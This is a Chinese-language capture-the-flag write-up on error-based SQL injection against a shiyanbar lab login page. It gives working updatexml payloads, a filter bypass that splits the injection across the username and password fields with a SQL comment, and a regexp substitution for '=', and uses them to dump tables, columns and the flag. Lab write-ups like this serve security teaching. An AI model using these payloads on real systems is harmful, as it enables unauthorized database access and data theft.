报错注入

HTTP分割注入 

题目地址实验吧:加了料的报错注入。

地址:http://ctf5.shiyanbar.com/web/baocuo/index.php

查看页面源代码,给出了我们sql查询语句很常规

    

根据提示 post传一个username和password然后开始注入

语句:

    username=admin' or '&password=admin

显示 You are our member, welcome to enter,可以说明单引号空格没有被过滤,不过既然是报错注入,那么加个单引号试试。

语句:

    username=admin'&password=admin

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'admin'' at line 1

接下来写报错语句

语句:

    username=admin'and updatexml(1,concat(0x7e,(select database()),0x7e),1) or '&password=admin

一翻测试之后发现,有个神奇的过滤,username过滤了(),password过滤了一切报错函数。

可以组合一下。username写函数updatexml。password写(),但是怎么合并为一起呢,想到sql语句是

select * from users where username='$username' and password='$password

$username=updatexm/*,$password=*/...这样sql语句会变成

    select * from users where username='updatexm/* and password='*/...

这样便可以注释掉中间的代码一种骚姿势,接下来继续正常注入。

    username=' and updatexml/*&password=*/(1,concat(0x7e,(select database()),0x7e),1) or '

成功爆出来数据库名称。

语句

    username=' and updatexml/*&password=*/(1,concat(0x7e,(select table_name from information_schema.tables where table_schema ='error_based_hpf'),0x7e),1) or '

等于号被过滤,可以使用正则注入,也就是=换成regexp

    username=' and updatexml/*&password=*/(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema regexp'error_based_hpf'),0x7e),1) or '

这里使用group_concat来爆出所有的表名字

    XPATH syntax error: '~ffll44jj,users~'

查列

    username=' and updatexml/*&password=*/(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name regexp'ffll44jj'),0x7e),1) or '

    XPATH syntax error: '~value~'

查数据

    username=' and updatexml/*&password=*/(1,concat(0x7e,(select value from 

    ffll44jj),0x7e),1) or '

    XPATH syntax error: '~flag{err0r_b4sed_sqli_+_hpf}~'

如果flag超过32位,可以mid截断来查询。不过本题中是禁止了mid函数的不过也不超过32位可以直接获取flag。

你可能感兴趣的:(报错注入)